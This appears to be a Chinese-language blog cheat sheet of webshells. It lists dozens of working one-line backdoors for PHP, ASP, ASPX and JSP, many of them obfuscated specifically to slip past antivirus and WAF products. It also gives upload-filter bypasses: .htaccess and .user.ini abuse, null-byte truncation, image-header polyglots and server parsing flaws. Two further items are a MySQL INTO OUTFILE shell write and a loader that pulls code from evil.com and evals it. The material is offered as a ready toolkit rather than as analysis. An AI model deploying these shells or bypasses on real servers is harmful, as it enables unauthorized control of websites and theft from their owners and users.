Webshell一把梭

文章发布时间:

最后更新时间:

文章总字数:
3.2k

页面浏览: 加载中...

PHP 一句话木马

基础型

最经典的eval执行:

1
<?php @eval($_POST['cmd']);?>

带错误抑制的assert执行(PHP7前可拆分):

1
<?php @assert($_POST['cmd']);?>

REQUEST接收GET/POST参数:

1
<?php @eval($_REQUEST['cmd']);?>

system直接执行系统命令:

1
<?php system($_REQUEST['cmd']);?>

带条件判断的执行(可插入正常文件末尾):

1
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>

变形混淆型

动态函数调用:

1
<?php ($_=@$_GET[1]).@$_($_POST[1])?>

可变函数执行(密码c和cc):

1
<?$_POST['c']($_POST['cc']);?>

双参数可变函数:

1
<?$_POST['c']($_POST['cc'],$_POST['cc'])?>

短标签形式:

1
<?=eval($_POST['cmd']);

script标签绕过(绕过<?限制):

1
<script language="php">@eval($_POST['cmd'])</script>

反引号执行系统命令:

1
<?php echo `$_GET['cmd']` ?>

编码变形型

字符串拼接assert:

1
<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["cmd"]); ?>

字符串替换构造:

1
<?php $a = str_replace("x","","axsxxsxexrxxt");$a($_POST["cmd"]); ?>

字符串反转构造:

1
<?php $a="TR"."Es"."sA"; $b=strtolower($a); $c=strrev($b); @$c($_POST['cmd']); ?>

base64解码执行:

1
<?php $a=base64_decode("YXNzZXJ0"); @$a($_POST['cmd']); ?>

变量变量构造:

1
<?php $bb="assert"; $a='bb'; $$a($_POST['cmd']);?>

parse_str变量解析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php $str="a=eval";parse_str($str);$a($_POST['cmd']);?>
<?php
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>

<?php
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>

<?php
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

<?php
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>

<?php usort($_GET,'asse'.'rt');?> php环境>=<5.6才能用
<?php usort(...$_GET);?> php环境>=5.6才能用
<?php eval($_POST1);?>
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>
<?php system($_REQUEST1);?>
<?php ($_=@$_GET1).@$_($_POST1)?>
<?php @eval_r($_POST1)?>//容错代码
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
<?php $a = $_POST['c']; $a($_POST['cc']);?>
<?php $a = $_POST['c']; $a($_POST['cc'],$_POST['cc'])?>
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>
<?php echo `$_GET['r']` ?>

<script language="php">@eval_r($_POST[sb])</script> //绕过<?限制的一句话

<?php (])?> 上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如 index.asp里面也是可以的!

<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system ($_REQUEST[1]);?>
加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件 的最底部不会出错!

<%execute request(“class”)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (“class”)%><%execute request(“class”)'<% loop <%:%>
无防下载表,有防下载表可尝试插入以下语句突破的一句话

<%eval(request(“1″)):response.end%> 备份专用

### 回调函数型

create_function创建匿名函数(PHP5/7可用):
```php
<?php $st=@create_function('',$_POST['cmd']);$st();?>

call_user_func回调执行:

1
<?php @call_user_func('assert',$_GET['cmd']);?>

call_user_func_array回调执行:

1
<?php call_user_func_array('assert', array($_REQUEST['cmd']));?>

array_map映射执行(需传func和cmd参数):

1
<?php array_map($_GET['func'], array($_GET['cmd']));?>

array_filter过滤执行:

1
<?php array_filter(array($_GET['cmd']), $_GET['func']);?>

usort排序回调(PHP<5.6):

1
<?php usort($_GET,'asse'.'rt');?>

usort展开操作符(PHP>=5.6):

1
<?php usort(...$_GET);?>

正则替换型

preg_replace的/e修饰符(仅PHP5):

1
<?php @preg_replace('/.*/e',$_POST['cmd'],'');?>

preg_filter的/e修饰符(仅PHP5):

1
<?php @preg_filter('/.*/e',$_POST['cmd'],'');?>

mb_ereg_replace的ee修饰符(PHP5/7通用):

1
<?php @mb_ereg_replace('.*',$_POST['cmd'],'','ee');?>

mb_eregi_replace的ee修饰符:

1
<?php @mb_eregi_replace('.*',$_POST['cmd'],'','ee');?>

高级绕过型

filter_var回调执行(过D盾/安全狗):

1
<?php filter_var($_REQUEST['cmd'], FILTER_CALLBACK, array('options' => 'assert'));?>

filter_var_array回调:

1
<?php filter_var_array(array('test' => $_REQUEST['cmd']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));?>

register_shutdown_function延迟执行(需传e参数):

1
<?php $e = $_REQUEST['e']; register_shutdown_function($e, $_REQUEST['cmd']);?>

PDO SQLite回调(需传e参数):

1
2
3
4
5
6
7
<?php
$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['cmd']));
?>

SQLite3直接调用(PHP5.3+):

1
2
3
4
5
6
7
8
<?php
$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['cmd'], SQLITE3_TEXT);
$stmt->execute();
?>

自定义函数包装:

1
<?php function fun($a){ @eval($a); } @fun($_POST['cmd']); ?>

类封装执行(过D盾):

1
2
3
4
5
6
7
8
9
10
<?php
class create{
public $cmd = '';
public function __construct(){
$this->cmd = $_POST['cmd'];
@eval($this->cmd);
}
}
$a = new create();
?>

免杀组合型

base64解码+eval(需配合菜刀配置):

1
<?php if($_POST['x']!=''){$a="base64_decode"; eval($a($_POST['z0']));}?>

substr+md5验证执行:

1
<?php substr(md5($_REQUEST['x']),28)=='6862'&&eval($_REQUEST['cmd']);?>

复杂混淆型(密码-7):

1
<?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>

ASP 一句话木马

基础型

最简单的execute执行:

1
<%execute request("cmd")%>

带括号的execute:

1
<%execute(request("cmd"))%>

eval执行:

1
<%eval request("cmd")%>

ExecuteGlobal全局执行:

1
<%ExecuteGlobal request("cmd")%>

变形混淆型

变量赋值执行:

1
<%a=request("cmd")%><%eval a%>

分离式执行(可分开插入不同位置):

1
<%Y=request("cmd")%><%execute(Y)%>

条件判断执行(隐蔽性更强):

1
<%if request("cmd")<>""then session("cmd")=request("cmd"):end if:if session("cmd")<>"" then execute session("cmd")%>

编码型

chr编码执行(密码p):

1
<%eval(Request(chr(112)))%>

chr拼接执行(密码#):

1
<%eval request(chr(35))%>

字符拼接构造:

1
<%eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("cmd"))%>

标签替换型

VBScript标签形式:

1
<script language=VBScript runat=server>execute request("cmd")</script>

VBS标签eval:

1
<script language=vbs runat=server>eval(request("cmd"))</script>

防护绕过型

过护卫神(分离标签):

1
<%E=request("cmd")%>abc123456789<%execute E%>

带容错语句(可插入文件末尾):

1
<%On Error Resume Next execute request("cmd")%>

条件判断防错:

1
<%if request("cmd")<>""then execute request("cmd")%>

反向拼接(密码-7):

1
<%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%>

备份专用:

1
<%eval(request("cmd")):response.end%>

ASPX 一句话木马

基础型

Jscript标准执行:

1
<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>

带验证的执行:

1
<%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["cmd"],"unsafe"));%>

编码混淆型

base64解码执行:

1
<%popup(popup(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJ6Il0="))));%>

混淆型(密码-7):

1
<%@ Page Language = Jscript %><%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval(/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>

C#型

WebAdmin后门(密码webadmin):

1
<script language="C#" runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script>

JSP 一句话木马

基础执行型

Runtime执行系统命令:

1
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

带密码验证的执行(密码023):

1
2
3
4
5
6
7
<%if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1; byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){ out.println(new String(b)); }
out.print("</pre>");
}%>

文件写入型

文件上传:

1
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

其他类型

MySQL写入webshell:

1
select '<?php @eval($_POST[cmd]);?>' into outfile 'C:/Inetpub/wwwroot/1.php'

上传绕过技巧

前端绕过

删除或禁用JavaScript验证:

1
2
使用浏览器开发者工具删除onsubmit事件
或使用Burp Suite直接发包绕过前端验证

后缀名绕过

黑名单绕过

常见黑名单:

1
2
3
4
php/php2/php3/php4/php5/phtml/pwml/inc
asp/aspx/ascx/jsp/cfm/cfc/pl/bat/exe/com
dll/vbs/js/reg/cgi/htaccess/.user.ini/asis
sh/shtml/shm/phtm

.htaccess解析漏洞

条件:Apache服务器

1
2
AddHandler php5-script .jpg
AddType application/x-httpd-php .jpg

或指定文件解析:

1
2
3
<FilesMatch "muma.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

.user.ini配置文件

条件:当前目录含有php文件

1
auto_prepend_file=shell.jpg

00截断

条件:php<5.3.4且magic_quotes_gpc=OFF

1
upload.php?path=uploads/shell.php%00.jpg

双写绕过

当服务器过滤敏感词时:

1
shell.pphphp -> shell.php (过滤后)

文件内容绕过

图片马制作

GIF89a文件头:

1
2
GIF89a
<?php eval($_POST['cmd']);?>

PNG文件头:

1
2
\x89PNG\r\n\x1a\n
<?php eval($_POST['cmd']);?>

JPG文件头:

1
2
\xff\xd8\xff
<?php eval($_POST['cmd']);?>

短标签利用

1
2
<?= eval($_POST['cmd']); ?>
<? eval($_POST['cmd']); ?>

解析漏洞

Apache解析漏洞

条件:Apache 1.x/2.2.x

1
2
test.php.a.b -> 解析为PHP
从右向左判断,不识别的后缀会继续向左

IIS解析漏洞

IIS6.0:

1
2
test.asp;.jpg -> 解析为ASP
test.asp/1.jpg -> 解析为ASP

IIS7.0/7.5:

1
test.jpg/.php -> 解析为PHP(需要文件存在)

Nginx解析漏洞

旧版本Nginx:

1
2
test.jpg/1.php -> 解析为PHP
test.jpg%00.php -> 解析为PHP

MIME类型绕过

修改Content-Type:

1
2
3
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif

大小写绕过

Windows系统不区分大小写:

1
2
3
shell.Php
shell.PHp
shell.pHP

免杀技巧

代码层面免杀

函数拆分

1
2
3
4
<?php 
$a = 'as'.'se'.'rt';
$a($_POST['cmd']);
?>

变量覆盖

1
2
3
4
5
<?php
$a = 'eval';
$$a = $_POST['cmd'];
$eval();
?>

编码混淆

Base64编码:

1
2
3
4
<?php
$code = base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs=');
eval($code);
?>

Hex编码:

1
2
3
4
<?php
$func = "\x65\x76\x61\x6c";
$func($_POST['cmd']);
?>

注释混淆

1
2
3
<?php
/**/eval/**/($_POST/**/['cmd']/**/);
?>

异或运算

1
2
3
4
5
6
7
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');
$___=$$__;
$_($___[_]);
// $_='assert'; $__='_POST';
?>

文件层面免杀

文件包含

主文件:

1
<?php include('config.jpg'); ?>

config.jpg:

1
<?php eval($_POST['cmd']); ?>

分散存储

将webshell分成多个文件:

1
2
3
4
5
6
7
8
9
10
// file1.php
<?php $a = 'ev';

// file2.php
$b = 'al';

// file3.php
$c = $a.$b;
$c($_POST['cmd']);
?>

利用系统特性

Windows流文件:

1
2
shell.php:stream.txt
shell.php::$DATA

隐藏文件

Linux隐藏文件:

1
2
.shell.php
..php

WAF绕过

参数污染

1
2
3
4
5
<?php
eval($_POST['a'].$_POST['b']);
// a=system('whoami
// b=');
?>

HTTP头利用

1
2
3
4
<?php
eval($_SERVER['HTTP_USER_AGENT']);
// User-Agent: system('whoami');
?>

编码绕过

URL编码:

1
%65%76%61%6c = eval

Unicode编码:

1
2
3
<?php
$func = "\u0065\u0076\u0061\u006c";
?>

综合免杀示例

高度混淆的一句话:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class S{
public $v;
function __construct($c){
$this->v=$c;
}
function __destruct(){
$a='e'.'v'.'a'.'l';
$a($this->v);
}
}
$s=new S($_POST['cmd']);
?>

利用反射:

1
2
3
4
<?php
$r = new ReflectionFunction('assert');
$r->invoke($_POST['cmd']);
?>

动态加载:

1
2
3
4
<?php
$f = file_get_contents('http://evil.com/shell.txt');
eval($f);
?>